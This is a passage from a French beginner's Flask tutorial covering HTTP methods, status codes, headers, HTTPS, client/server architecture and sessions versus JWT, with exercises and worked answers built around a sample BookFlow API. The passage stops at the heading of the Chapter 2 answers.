╔══════════════════════════════════════════════════════════════════════════════════════╗
║           FLASK MASTER GUIDE — PARTIE 1 : FONDATIONS WEB & PYTHON                 ║
║                      Guide Complet pour Débutants en Génie Logiciel               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Auteur      : Flask Master Guide
Niveau      : Débutant -> Intermédiaire
Prérequis   : Aucun (tout est expliqué depuis zéro)
Projet fil  : BookFlow API (évoluera tout au long du guide)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 1
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 1  — Le protocole HTTP : comment le Web fonctionne vraiment
  CHAPITRE 2  — Architecture Client / Serveur
  CHAPITRE 3  — JSON : le langage universel des API
  CHAPITRE 4  — Rappels Python essentiels pour Flask
  CHAPITRE 5  — Mise en place de l'environnement de développement

  PROJET FIL ROUGE — Introduction à BookFlow API

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                 CHAPITRE 1 — LE PROTOCOLE HTTP                                       ║
║          Comment le Web fonctionne vraiment sous le capot                            ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE HTTP ?
─────────────────────
HTTP signifie HyperText Transfer Protocol. C'est le protocole de communication
qui permet à deux machines de se parler sur Internet : ton navigateur (client)
et un serveur web.

Imagine HTTP comme les règles d'une conversation téléphonique :
  - Il y a une façon précise de commencer (la requête)
  - Il y a une façon précise de répondre (la réponse)
  - Les deux parties se comprennent parce qu'elles suivent les mêmes règles

POURQUOI HTTP EXISTE-T-IL ?
─────────────────────────────
Avant HTTP (inventé par Tim Berners-Lee en 1991), les ordinateurs ne pouvaient
pas facilement partager des documents sur Internet. HTTP a été créé pour
standardiser l'échange de données entre machines.

Aujourd'hui, TOUT ce que tu fais sur Internet passe par HTTP (ou HTTPS, sa
version sécurisée) :
  [OK] Ouvrir une page web (Facebook, Google, etc.)
  [OK] Envoyer un formulaire de connexion
  [OK] Récupérer les données d'une API (météo, réseaux sociaux, etc.)
  [OK] Uploader une photo
  [OK] Payer en ligne

DANS QUELS CAS ON L'UTILISE ?
───────────────────────────────
En tant que développeur backend Flask, tu utiliseras HTTP pour :
  -> Recevoir des requêtes depuis un navigateur ou une application mobile
  -> Renvoyer des données JSON (API REST)
  -> Gérer l'authentification (login, logout)
  -> Uploader et télécharger des fichiers


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  EXPLICATION THÉORIQUE ULTRA DÉTAILLÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

LE CYCLE REQUÊTE -> RÉPONSE
───────────────────────────
Quand tu tapes "google.com" dans ton navigateur, voici EXACTEMENT ce qui se passe :

  ÉTAPE 1 — Résolution DNS
  ─────────────────────────
  Ton navigateur ne connaît pas "google.com". Il demande à un serveur DNS :
  "Quelle est l'adresse IP de google.com ?"
  Le DNS répond : "172.217.18.142" (exemple)

  ÉTAPE 2 — Connexion TCP
  ────────────────────────
  Ton navigateur établit une connexion TCP avec le serveur de Google
  (comme ouvrir un tuyau de communication)

  ÉTAPE 3 — Envoi de la requête HTTP
  ────────────────────────────────────
  Ton navigateur envoie une requête HTTP qui ressemble à ceci :

  ┌─────────────────────────────────────────────────────────┐
  │  GET / HTTP/1.1                                         │
  │  Host: google.com                                       │
  │  User-Agent: Mozilla/5.0 (Windows NT 10.0)              │
  │  Accept: text/html,application/xhtml+xml                │
  │  Accept-Language: fr-FR,fr;q=0.9,en;q=0.8               │
  │  Connection: keep-alive                                 │
  └─────────────────────────────────────────────────────────┘

  ÉTAPE 4 — Traitement par le serveur
  ─────────────────────────────────────
  Le serveur Google reçoit la requête, trouve la page d'accueil,
  et prépare une réponse.

  ÉTAPE 5 — Réponse HTTP
  ───────────────────────
  Le serveur renvoie une réponse HTTP :

  ┌─────────────────────────────────────────────────────────┐
  │  HTTP/1.1 200 OK                                        │
  │  Content-Type: text/html; charset=UTF-8                 │
  │  Content-Length: 13428                                  │
  │                                                         │
  │  <!DOCTYPE html>                                        │
  │  <html>...</html>                                       │
  └─────────────────────────────────────────────────────────┘

  ÉTAPE 6 — Affichage
  ────────────────────
  Le navigateur interprète le HTML/CSS/JS et affiche la page.


ANATOMIE D'UNE REQUÊTE HTTP
─────────────────────────────

Une requête HTTP se compose de 4 parties :

  ┌──────────────────────────────────────────────────────────────┐
  │  PARTIE 1 : LIGNE DE REQUÊTE                                 │
  │  ─────────────────────────────                               │
  │  [MÉTHODE] [URL] [VERSION HTTP]                              │
  │  GET /api/livres HTTP/1.1                                    │
  │                                                              │
  │  PARTIE 2 : EN-TÊTES (HEADERS)                               │
  │  ──────────────────────────────                              │
  │  Host: api.bookflow.com                                      │
  │  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...               │
  │  Content-Type: application/json                              │
  │  Accept: application/json                                    │
  │                                                              │
  │  PARTIE 3 : LIGNE VIDE                                       │
  │  (séparateur obligatoire)                                    │
  │                                                              │
  │  PARTIE 4 : CORPS (BODY) — optionnel                         │
  │  ──────────────────────────────────────                      │
  │  {                                                           │
  │    "titre": "Le Petit Prince",                               │
  │    "auteur": "Saint-Exupéry"                                 │
  │  }                                                           │
  └──────────────────────────────────────────────────────────────┘


ANATOMIE D'UNE RÉPONSE HTTP
─────────────────────────────

  ┌──────────────────────────────────────────────────────────────┐
  │  PARTIE 1 : LIGNE DE STATUT                                  │
  │  ─────────────────────────────                               │
  │  [VERSION] [CODE] [MESSAGE]                                  │
  │  HTTP/1.1 200 OK                                             │
  │                                                              │
  │  PARTIE 2 : EN-TÊTES                                         │
  │  ─────────────────────                                       │
  │  Content-Type: application/json                              │
  │  Content-Length: 256                                         │
  │  Access-Control-Allow-Origin: *                              │
  │                                                              │
  │  PARTIE 3 : LIGNE VIDE                                       │
  │                                                              │
  │  PARTIE 4 : CORPS DE LA RÉPONSE                              │
  │  ──────────────────────────────                              │
  │  {                                                           │
  │    "id": 1,                                                  │
  │    "titre": "Le Petit Prince",                               │
  │    "auteur": "Saint-Exupéry",                                │
  │    "disponible": true                                        │
  │  }                                                           │
  └──────────────────────────────────────────────────────────────┘


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LES MÉTHODES HTTP (VERBES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les méthodes HTTP définissent L'INTENTION de la requête.
C'est comme les verbes d'une langue : chaque verbe a un sens précis.

┌──────────┬────────────────────────────────┬──────────────────────────────┐
│ MÉTHODE  │ SIGNIFICATION                  │ EXEMPLE BOOKFLOW             │
├──────────┼────────────────────────────────┼──────────────────────────────┤
│ GET      │ Lire/Récupérer des données     │ Voir la liste des livres     │
│ POST     │ Créer une nouvelle ressource   │ Ajouter un nouveau livre     │
│ PUT      │ Remplacer complètement         │ Modifier tout un livre       │
│ PATCH    │ Modifier partiellement         │ Changer seulement le titre   │
│ DELETE   │ Supprimer une ressource        │ Supprimer un livre           │
│ HEAD     │ Comme GET mais sans le body    │ Vérifier si un livre existe  │
│ OPTIONS  │ Voir les méthodes disponibles  │ Vérification CORS            │
└──────────┴────────────────────────────────┴──────────────────────────────┘

RÈGLE MNÉMOTECHNIQUE — CRUD vs HTTP :
  C -> Create  -> POST
  R -> Read    -> GET
  U -> Update  -> PUT / PATCH
  D -> Delete  -> DELETE

DIFFÉRENCE PUT vs PATCH (très important en API REST !) :
  PUT    -> Tu REMPLACES la ressource entière
           Si tu oublies un champ, il sera effacé !
  PATCH  -> Tu modifies SEULEMENT les champs envoyés
           Les autres champs restent intacts


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  LES CODES DE STATUT HTTP
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les codes de statut sont des nombres à 3 chiffres qui indiquent le résultat
de la requête. Le premier chiffre indique la catégorie :

  1xx -> INFORMATION (rare, ne pas s'en préoccuper au début)
  2xx -> SUCCÈS [OK]
  3xx -> REDIRECTION [MELANGE]
  4xx -> ERREUR DU CLIENT [X] (c'est TON erreur, utilisateur)
  5xx -> ERREUR DU SERVEUR [IMPACT] (c'est une erreur du backend)

CODES LES PLUS IMPORTANTS :
┌──────┬───────────────────────┬───────────────────────────────────────────┐
│ CODE │ NOM                   │ QUAND L'UTILISER                          │
├──────┼───────────────────────┼───────────────────────────────────────────┤
│ 200  │ OK                    │ Requête réussie (GET, PUT, PATCH)         │
│ 201  │ Created               │ Ressource créée avec succès (POST)        │
│ 204  │ No Content            │ Succès sans corps de réponse (DELETE)     │
│ 400  │ Bad Request           │ Données invalides ou manquantes           │
│ 401  │ Unauthorized          │ Non authentifié (token manquant/expiré)   │
│ 403  │ Forbidden             │ Authentifié mais pas autorisé             │
│ 404  │ Not Found             │ La ressource n'existe pas                 │
│ 409  │ Conflict              │ Conflit (email déjà utilisé, etc.)        │
│ 422  │ Unprocessable Entity  │ Données syntaxiquement correctes mais     │
│      │                       │ sémantiquement incorrectes                │
│ 429  │ Too Many Requests     │ Rate limiting (trop de requêtes)          │
│ 500  │ Internal Server Error │ Erreur interne du serveur                 │
│ 503  │ Service Unavailable   │ Serveur temporairement indisponible       │
└──────┴───────────────────────┴───────────────────────────────────────────┘

CONSEIL PRO : Dans une API Flask bien construite, tu dois TOUJOURS retourner
le bon code de statut. Retourner 200 pour une erreur est une mauvaise pratique
très répandue chez les débutants.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  LES EN-TÊTES HTTP ESSENTIELS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

EN-TÊTES DE REQUÊTE (envoyés par le client) :
┌────────────────────────┬────────────────────────────────────────────────┐
│ EN-TÊTE                │ RÔLE                                           │
├────────────────────────┼────────────────────────────────────────────────┤
│ Content-Type           │ Format du body envoyé (application/json, etc.) │
│ Accept                 │ Format de réponse attendu                      │
│ Authorization          │ Token d'authentification (Bearer <token>)      │
│ User-Agent             │ Identification du client (navigateur, app)     │
│ Cookie                 │ Données de session                             │
│ Origin                 │ Domaine d'origine (pour CORS)                  │
└────────────────────────┴────────────────────────────────────────────────┘

EN-TÊTES DE RÉPONSE (envoyés par le serveur) :
┌────────────────────────┬────────────────────────────────────────────────┐
│ EN-TÊTE                │ RÔLE                                           │
├────────────────────────┼────────────────────────────────────────────────┤
│ Content-Type           │ Format du body retourné                        │
│ Content-Length         │ Taille du body en bytes                        │
│ Set-Cookie             │ Définir un cookie côté client                  │
│ Access-Control-*       │ En-têtes CORS pour les API                     │
│ X-RateLimit-Remaining  │ Nombre de requêtes restantes                   │
│ Location               │ URL de redirection (avec 3xx)                  │
└────────────────────────┴────────────────────────────────────────────────┘


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  HTTP vs HTTPS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HTTP  -> Les données voyagent en clair (lisibles par n'importe qui)
HTTPS -> Les données sont chiffrées via TLS (Transport Layer Security)

POURQUOI HTTPS EST OBLIGATOIRE EN PRODUCTION :
  [X] Sans HTTPS : Un hacker peut lire les mots de passe, tokens JWT, données perso
  [OK] Avec HTTPS : Les données sont chiffrées de bout en bout

En Flask développement -> HTTP suffit (localhost)
En Flask production    -> HTTPS OBLIGATOIRE (via Nginx + Let's Encrypt)

HTTP/1.1 vs HTTP/2 vs HTTP/3 :
  HTTP/1.1 -> Une requête à la fois par connexion (ancien mais encore très utilisé)
  HTTP/2   -> Multiplexage (plusieurs requêtes simultanées) + compression headers
  HTTP/3   -> Basé sur QUIC (UDP) au lieu de TCP, encore plus rapide


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  BONNES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[OK] Toujours utiliser le bon code de statut HTTP
[OK] Toujours mettre Content-Type: application/json pour les API
[OK] Utiliser HTTPS en production
[OK] Retourner des messages d'erreur clairs et utiles
[OK] Ne jamais mettre de données sensibles dans l'URL (query string)
   -> Mauvais  : GET /api/login?password=monmotdepasse
   -> Bon      : POST /api/login avec le mot de passe dans le body

[X] Ne pas utiliser GET pour modifier des données
[X] Ne pas ignorer les codes d'erreur 4xx et 5xx
[X] Ne pas exposer les détails d'erreurs serveur en production


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  ERREURS FRÉQUENTES DES DÉBUTANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[X] ERREUR 1 : Tout faire avec GET
   Problème : GET ne doit jamais modifier des données côté serveur
   Solution : Utiliser POST/PUT/PATCH/DELETE selon l'action

[X] ERREUR 2 : Toujours retourner 200
   Problème : Le client ne sait pas si l'opération a vraiment réussi
   Solution : Utiliser 201 pour création, 404 pour non trouvé, etc.

[X] ERREUR 3 : Mettre des données sensibles dans l'URL
   Problème : Les URLs sont loggées partout (serveurs, historique navigateur)
   Solution : Toujours envoyer les données sensibles dans le BODY (POST)

[X] ERREUR 4 : Confondre 401 et 403
   401 Unauthorized  -> L'utilisateur N'EST PAS connecté
   403 Forbidden     -> L'utilisateur EST connecté mais N'A PAS les droits


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  9⃣  EXERCICES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
───────────────
  Exercice 1.1 : Pour chaque action ci-dessous, indique la méthode HTTP et le code
                 de statut appropriés :
    a) Un utilisateur se connecte avec succès
    b) Un utilisateur essaie d'accéder à une page qui n'existe plus
    c) Un utilisateur ajoute un livre à sa bibliothèque
    d) Un administrateur supprime un commentaire
    e) Un utilisateur modifie son email

  Exercice 1.2 : Décompose cette requête HTTP en ses parties :
    POST /api/v1/livres HTTP/1.1
    Host: api.bookflow.com
    Authorization: Bearer abc123
    Content-Type: application/json

    {"titre": "Dune", "auteur": "Frank Herbert", "pages": 900}

  Exercice 1.3 : Quelle est la différence entre ces deux requêtes ?
    Requête A : GET /api/livres?id=5
    Requête B : GET /api/livres/5

NIVEAU INTERMÉDIAIRE :
───────────────────────
  Exercice 1.4 : Conçois les endpoints HTTP pour une API de gestion de bibliothèque.
    Pour chaque endpoint, précise : méthode, URL, code de succès, code d'erreur possible
    -> Lister tous les livres
    -> Voir le détail d'un livre
    -> Créer un livre
    -> Modifier partiellement un livre
    -> Supprimer un livre

  Exercice 1.5 : Un client envoie cette requête mais reçoit une erreur.
    Identifie le problème :
    GET /api/livres/créer HTTP/1.1
    Content-Type: application/json
    {"titre": "Le Seigneur des Anneaux"}

  Exercice 1.6 : Explique la différence entre PUT et PATCH avec un exemple concret
    sur un objet Livre ayant les champs : titre, auteur, isbn, pages, disponible

NIVEAU AVANCÉ :
────────────────
  Exercice 1.7 : Conçois le système d'en-têtes complet pour une API sécurisée BookFlow.
    Quels en-têtes de sécurité doit-on ajouter aux réponses du serveur ?

  Exercice 1.8 : Explique le mécanisme CORS (Cross-Origin Resource Sharing) et
    pourquoi il est nécessaire quand ton frontend React est sur localhost:3000
    et ton backend Flask sur localhost:5000.

  Exercice 1.9 : Conçois un système de versioning d'API pour BookFlow.
    Comment gérer les versions v1, v2, v3 de l'API ?
    Quelles stratégies existent ? Avantages et inconvénients de chacune.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS DÉTAILLÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 1.1 :
  a) Connexion réussie         -> POST /api/login        -> 200 OK
  b) Page inexistante          -> GET  /page-disparue    -> 404 Not Found
  c) Ajout d'un livre          -> POST /api/livres        -> 201 Created
  d) Suppression commentaire   -> DELETE /api/comments/5 -> 204 No Content
  e) Modification email        -> PATCH /api/users/3     -> 200 OK

  Raisonnement :
  - On utilise POST pour créer (login crée une session ou retourne un token)
  - 204 pour DELETE car on n'a rien à retourner (la ressource est supprimée)
  - PATCH et non PUT car on modifie seulement l'email, pas tout le profil

CORRIGÉ 1.2 :
  LIGNE DE REQUÊTE : POST /api/v1/livres HTTP/1.1
    -> Méthode : POST (création)
    -> Ressource : /api/v1/livres
    -> Version HTTP : 1.1

  EN-TÊTES :
    -> Host : identifie le serveur cible (important pour les serveurs virtuels)
    -> Authorization : token JWT pour prouver l'identité de l'utilisateur
    -> Content-Type : indique au serveur que le body est en JSON

  BODY :
    -> JSON avec les données du livre à créer
    -> titre, auteur, pages sont les champs envoyés

CORRIGÉ 1.3 :
  Ces deux requêtes font la même chose mais l'URL est différente :
  -> GET /api/livres?id=5   : utilise un paramètre de query string (moins RESTful)
  -> GET /api/livres/5      : utilise un paramètre de chemin (path parameter, plus RESTful)

  La convention REST préconise la deuxième forme pour identifier une ressource spécifique.
  La query string est réservée aux filtres, tris et pagination :
  Ex : GET /api/livres?genre=science-fiction&page=2&limit=10

CORRIGÉ 1.4 :
  ┌─────────────────────────────┬────────┬──────────────────┬──────────┬───────────┐
  │ ACTION                      │ MÉTHODE│ URL              │ SUCCÈS   │ ERREUR    │
  ├─────────────────────────────┼────────┼──────────────────┼──────────┼───────────┤
  │ Lister tous les livres      │ GET    │ /api/livres      │ 200      │ 500       │
  │ Voir le détail d'un livre   │ GET    │ /api/livres/{id} │ 200      │ 404       │
  │ Créer un livre              │ POST   │ /api/livres      │ 201      │ 400, 409  │
  │ Modifier partiellement      │ PATCH  │ /api/livres/{id} │ 200      │ 404, 400  │
  │ Supprimer un livre          │ DELETE │ /api/livres/{id} │ 204      │ 404       │
  └─────────────────────────────┴────────┴──────────────────┴──────────┴───────────┘

CORRIGÉ 1.5 :
  Deux problèmes dans cette requête :
  1. MÉTHODE INCORRECTE : On utilise GET pour créer une ressource.
     GET ne doit JAMAIS avoir de body ni modifier des données.
     -> Solution : Utiliser POST

  2. URL INCORRECTE : /api/livres/créer n'est pas RESTful.
     En REST, l'URL désigne une RESSOURCE, pas une ACTION.
     -> Solution : POST /api/livres (la méthode POST indique déjà la création)

CORRIGÉ 1.6 :
  Objet Livre actuel :
  {
    "id": 1,
    "titre": "Harry Potter",
    "auteur": "J.K. Rowling",
    "isbn": "978-2-07-054127-1",
    "pages": 308,
    "disponible": true
  }

  PUT /api/livres/1 -> REMPLACEMENT COMPLET
  Body envoyé : {"titre": "Harry Potter et la Chambre des Secrets"}
  Résultat : {"id": 1, "titre": "Harry Potter et la Chambre des Secrets",
              "auteur": null, "isbn": null, "pages": null, "disponible": null}
  [ATTENTION] DANGER : Tous les autres champs sont effacés !

  PATCH /api/livres/1 -> MODIFICATION PARTIELLE
  Body envoyé : {"titre": "Harry Potter et la Chambre des Secrets"}
  Résultat : {"id": 1, "titre": "Harry Potter et la Chambre des Secrets",
              "auteur": "J.K. Rowling", "isbn": "978-2-07-054127-1",
              "pages": 308, "disponible": true}
  [OK] Seul le titre a changé, tout le reste est intact.

CORRIGÉ 1.7 :
  En-têtes de sécurité pour BookFlow API :

  En-têtes de réponse côté serveur :
  ──────────────────────────────────
  X-Content-Type-Options: nosniff
    -> Empêche le navigateur de deviner le type MIME

  X-Frame-Options: DENY
    -> Protège contre les attaques Clickjacking

  Strict-Transport-Security: max-age=31536000; includeSubDomains
    -> Force HTTPS pour un an

  X-XSS-Protection: 1; mode=block
    -> Active la protection XSS du navigateur (navigateurs anciens)

  Content-Security-Policy: default-src 'self'
    -> Définit les sources autorisées pour les ressources

  Access-Control-Allow-Origin: https://bookflow.com
    -> Limite l'accès CORS à ton domaine uniquement (jamais * en production!)

  Referrer-Policy: strict-origin-when-cross-origin
    -> Contrôle les infos envoyées dans l'en-tête Referer

CORRIGÉ 1.8 :
  Le CORS (Cross-Origin Resource Sharing) est un mécanisme de sécurité des navigateurs
  qui bloque les requêtes vers un domaine différent de la page actuelle.

  Pourquoi ça bloque :
    Ton frontend est sur : http://localhost:3000 (origin: localhost:3000)
    Ton backend est sur  : http://localhost:5000 (origin: localhost:5000)
    -> Ce sont deux origins DIFFÉRENTS (port différent = origin différent)
    -> Le navigateur bloque la requête par défaut

  Comment ça fonctionne :
    1. Le navigateur envoie d'abord une requête OPTIONS "preflight"
       OPTIONS /api/livres HTTP/1.1
       Origin: http://localhost:3000
       Access-Control-Request-Method: POST

    2. Le serveur répond avec les permissions :
       Access-Control-Allow-Origin: http://localhost:3000
       Access-Control-Allow-Methods: GET, POST, PUT, DELETE
       Access-Control-Allow-Headers: Content-Type, Authorization

    3. Si les permissions sont OK, le navigateur envoie la vraie requête

  Solution avec Flask-CORS (on verra l'implémentation dans les prochains chapitres)

CORRIGÉ 1.9 :
  3 STRATÉGIES DE VERSIONING D'API :

  STRATÉGIE 1 : Versioning dans l'URL (le plus courant)
    GET /api/v1/livres
    GET /api/v2/livres
    Avantages : Clair, lisible, facile à tester dans le navigateur
    Inconvénients : "L'URL doit identifier une ressource, pas une version" (débat)

  STRATÉGIE 2 : Versioning dans l'en-tête Accept
    GET /api/livres
    Accept: application/vnd.bookflow.v2+json
    Avantages : URLs propres, conforme REST strict
    Inconvénients : Plus complexe à tester, moins intuitif

  STRATÉGIE 3 : Versioning par paramètre de query
    GET /api/livres?version=2
    Avantages : Simple
    Inconvénients : Pas propre, difficile à cacher en cache

  RECOMMANDATION : La stratégie 1 (/api/v1/) est la plus utilisée en pratique.
  Exemples réels : Twitter API, GitHub API, Stripe API -> tous utilisent /v1/ dans l'URL


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 2 — ARCHITECTURE CLIENT / SERVEUR                              ║
║                 Comprendre qui fait quoi sur Internet                                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE L'ARCHITECTURE CLIENT/SERVEUR ?
───────────────────────────────────────────────
C'est le modèle fondamental du Web. Deux entités communiquent :

  CLIENT -> fait des DEMANDES (requêtes)
  SERVEUR -> traite les demandes et renvoie des RÉPONSES

Analogie du restaurant :
  [PERSONNE] Client  -> Toi au restaurant, tu commandes
  [PERSONNE][COOKING] Serveur -> Le restaurant qui prépare et t'apporte la commande
  [LISTE] Menu    -> L'API (liste des opérations disponibles)
  [FORK_AND_KNIFE_WITH_PLATE] Plat    -> La réponse (données JSON, page HTML...)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  EXPLICATION THÉORIQUE ULTRA DÉTAILLÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QUI EST LE CLIENT ?
────────────────────
Un client est tout programme capable de faire des requêtes HTTP :
  -> Navigateurs web : Chrome, Firefox, Safari
  -> Applications mobiles : iOS, Android
  -> Autres serveurs (dans une architecture microservices)
  -> Outils de test : Postman, curl, Insomnia
  -> Scripts Python avec la bibliothèque requests

QUI EST LE SERVEUR ?
─────────────────────
Un serveur est un programme qui tourne en permanence, écoute les requêtes
et y répond. Flask est un framework pour créer ce type de programme.

Le serveur peut faire :
  -> Calculer et traiter des données
  -> Lire/écrire dans une base de données
  -> Appeler d'autres services (emails, SMS, paiements)
  -> Gérer l'authentification
  -> Servir des fichiers statiques


SCHÉMA DE FONCTIONNEMENT COMPLET
──────────────────────────────────

  ┌─────────────────────────────────────────────────────────────────────┐
  │                    ARCHITECTURE BOOKFLOW API                        │
  └─────────────────────────────────────────────────────────────────────┘

  [Navigateur Chrome]    [App Mobile]    [Script Python]
         │                    │                │
         └────────────────────┴────────────────┘
                              │
                         HTTP/HTTPS
                              │
                         [INTERNET]
                              │
                         [NGINX]  <- Reverse Proxy (en production)
                              │
                    [FLASK APPLICATION]
                    ┌─────────────────┐
                    │  Routing        │  -> Dirige vers la bonne fonction
                    │  Blueprints     │  -> Organise le code en modules
                    │  Middleware     │  -> Authentification, logs, etc.
                    │  Business Logic │  -> La logique de l'application
                    └────────┬────────┘
                             │
              ┌──────────────┴──────────────┐
              │                             │
         [SQLite/PostgreSQL]        [Services externes]
         (Base de données)          (Email, SMS, Stripe...)


ARCHITECTURE MONOLITHIQUE vs MICROSERVICES
───────────────────────────────────────────

  MONOLITHIQUE (ce qu'on va construire) :
    -> Tout dans une seule application Flask
    -> Plus simple à développer et déboguer
    -> Adapté aux petits/moyens projets
    -> Démarrage rapide

  MICROSERVICES (architecture avancée) :
    -> Plusieurs petits services Flask indépendants
    -> Service Auth, Service Livres, Service Commandes...
    -> Plus complexe mais plus scalable
    -> Les grandes entreprises (Netflix, Amazon) utilisent ça


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LES COUCHES D'UNE APPLICATION WEB
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Une application web professionnelle est généralement organisée en couches :

  ┌─────────────────────────────────────┐
  │         COUCHE PRÉSENTATION         │  <- Frontend (React, Vue, HTML)
  │         (Ce que voit l'utilisateur) │
  └──────────────────┬──────────────────┘
                     │ HTTP/JSON
  ┌──────────────────[BLACK_DOWN-POINTING_TRIANGLE]──────────────────┐
  │            COUCHE API               │  <- Endpoints Flask (Routes)
  │        (Interface de communication) │
  └──────────────────┬──────────────────┘
                     │ Appels fonctions
  ┌──────────────────[BLACK_DOWN-POINTING_TRIANGLE]──────────────────┐
  │         COUCHE BUSINESS LOGIC       │  <- Services, calculs, règles
  │          (La logique métier)        │
  └──────────────────┬──────────────────┘
                     │ Queries
  ┌──────────────────[BLACK_DOWN-POINTING_TRIANGLE]──────────────────┐
  │         COUCHE DONNÉES              │  <- SQLAlchemy, Models
  │      (Accès base de données)        │
  └──────────────────┬──────────────────┘
                     │ SQL
  ┌──────────────────[BLACK_DOWN-POINTING_TRIANGLE]──────────────────┐
  │         BASE DE DONNÉES             │  <- SQLite, PostgreSQL
  │                                     │
  └─────────────────────────────────────┘

Chaque couche a UNE responsabilité. C'est ce qu'on appelle le principe
de Séparation des Responsabilités (Separation of Concerns).


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  STATELESS vs STATEFUL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HTTP est un protocole STATELESS (sans état).
Cela signifie que chaque requête est INDÉPENDANTE.

Problème : Comment le serveur sait-il que c'est toi qui fais la requête ?
Solutions :
  -> Sessions (cookie avec un ID de session)
  -> JWT (token signé envoyé dans chaque requête)

EXPLICATION SESSIONS vs JWT :

  SESSIONS :
    1. Tu te connectes -> Le serveur crée une session en mémoire/BDD
    2. Le serveur envoie un cookie avec l'ID de session
    3. Pour chaque requête, tu envoies ce cookie
    4. Le serveur vérifie l'ID dans sa BDD de sessions

    [Client] ---(POST /login)---> [Serveur]
    [Client] <---(Set-Cookie: session_id=abc123)--- [Serveur]
    [Client] ---(GET /profil + Cookie: session_id=abc123)---> [Serveur]
    [Serveur] -> Cherche session abc123 en BDD -> Trouve l'utilisateur

  JWT (JSON Web Token) :
    1. Tu te connectes -> Le serveur génère un token signé (JWT)
    2. Le serveur renvoie ce token
    3. Pour chaque requête, tu envoies ce token dans le Header
    4. Le serveur VÉRIFIE la signature sans chercher en BDD

    [Client] ---(POST /login)---> [Serveur]
    [Client] <---(token: eyJhbGc...)--- [Serveur]
    [Client] ---(GET /profil + Authorization: Bearer eyJhbGc...)---> [Serveur]
    [Serveur] -> Vérifie la signature du token -> Extrait l'utilisateur -> OK

  AVANTAGES JWT pour les API REST :
    [OK] Pas besoin de BDD pour vérifier l'identité
    [OK] Fonctionne facilement entre plusieurs serveurs
    [OK] Idéal pour les applications mobiles et les API publiques


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 2.1 : Dans chaque situation, identifie qui est le client et qui est le serveur :
    a) Tu utilises l'application Spotify sur ton téléphone
    b) Ton application Flask appelle l'API Stripe pour traiter un paiement
    c) Google indexe ton site web

  Exercice 2.2 : Dessine le schéma de communication pour cette action :
    "Un utilisateur se connecte sur BookFlow depuis son téléphone Android"

  Exercice 2.3 : Quelle est la différence entre une session et un JWT ?
    Cite 2 avantages de chaque approche.

NIVEAU INTERMÉDIAIRE :
  Exercice 2.4 : Explique pourquoi HTTP est "stateless" et comment Flask gère
    le maintien de l'état de connexion d'un utilisateur.

  Exercice 2.5 : Conçois l'architecture en couches de BookFlow API :
    - Quelles couches ? Quelle responsabilité pour chacune ?
    - Donne un exemple concret pour l'action "emprunter un livre"

NIVEAU AVANCÉ :
  Exercice 2.6 : Compare l'architecture monolithique et microservices pour BookFlow.
    Quand passerait-on de l'une à l'autre ? Quelles sont les contraintes ?


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
